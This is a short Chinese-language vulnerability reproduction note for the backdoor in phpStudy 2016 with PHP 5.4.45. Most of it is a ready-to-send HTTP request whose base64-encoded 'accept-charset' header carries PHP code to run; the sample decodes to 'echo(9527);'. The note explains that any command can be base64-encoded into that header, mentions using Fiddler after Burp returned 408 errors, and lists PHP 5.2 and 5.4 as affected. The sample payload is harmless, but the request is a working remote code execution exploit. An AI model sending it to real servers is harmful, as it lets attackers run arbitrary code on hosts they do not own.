环境
phpstudy 2016 php-5.4.45
POC(来自圈子社区)
GET http://127.0.0.1/l.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
accept-charset: ZWNobyg5NTI3KTs=
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
accept-charset: ZWNobyg5NTI3KTs=
要执行的命令进行base64编码。
后门复现
用burp一直返回408,然后用的fiddler来复现的。
echo(9527);
利用条件
php5.2
php5.4